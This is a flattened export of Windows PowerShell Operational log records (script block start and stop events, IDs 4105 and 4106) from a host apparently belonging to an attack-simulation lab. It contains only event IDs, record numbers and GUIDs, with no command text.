410615103150x0676997Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676996Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676995Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676994Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676993Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676992Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676991Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676990Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676989Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676988Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676987Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676986Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676985Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676984Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676983Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676982Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676981Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676980Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676979Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676978Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676977Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676976Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676975Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676974Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676973Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676972Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676971Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676970Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676969Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676968Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676967Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676966Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676965Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676964Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676963Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676962Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676961Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676960Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676959Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676958Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676957Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676956Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676955Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676954Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676953Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676952Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676951Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676950Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676949Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676948Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676947Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676946Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676945Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676944Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676943Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676942Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676941Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676940Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676939Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676938Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676937Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676936Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676935Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676934Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676933Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676932Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676931Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676930Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676929Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676928Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676927Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676926Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676925Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676924Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676923Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676922Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676921Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676920Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676919Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676918Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676917Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676916Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676915Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676914Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676913Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676912Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676911Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676910Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676909Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676908Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676907Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676906Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676905Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676904Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676903Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676902Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676901Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676900Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676899Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676898Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676897Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676896Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676895Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676894Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676893Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676892Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676891Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676890Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676889Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676888Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676887Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676886Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676885Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676884Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676883Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676882Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676881Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676880Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676879Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676878Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676877Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676876Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676875Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676874Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676873Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676872Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676871Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676870Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676869Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676868Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676867Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676866Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676865Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676864Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676863Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676862Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676861Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676860Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676859Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676858Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676857Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676856Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676855Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676854Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676853Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676852Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676851Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676850Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676849Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676848Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676847Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676846Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676845Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676844Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676843Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676842Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676841Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676840Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676839Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676838Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676837Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676836Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676835Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 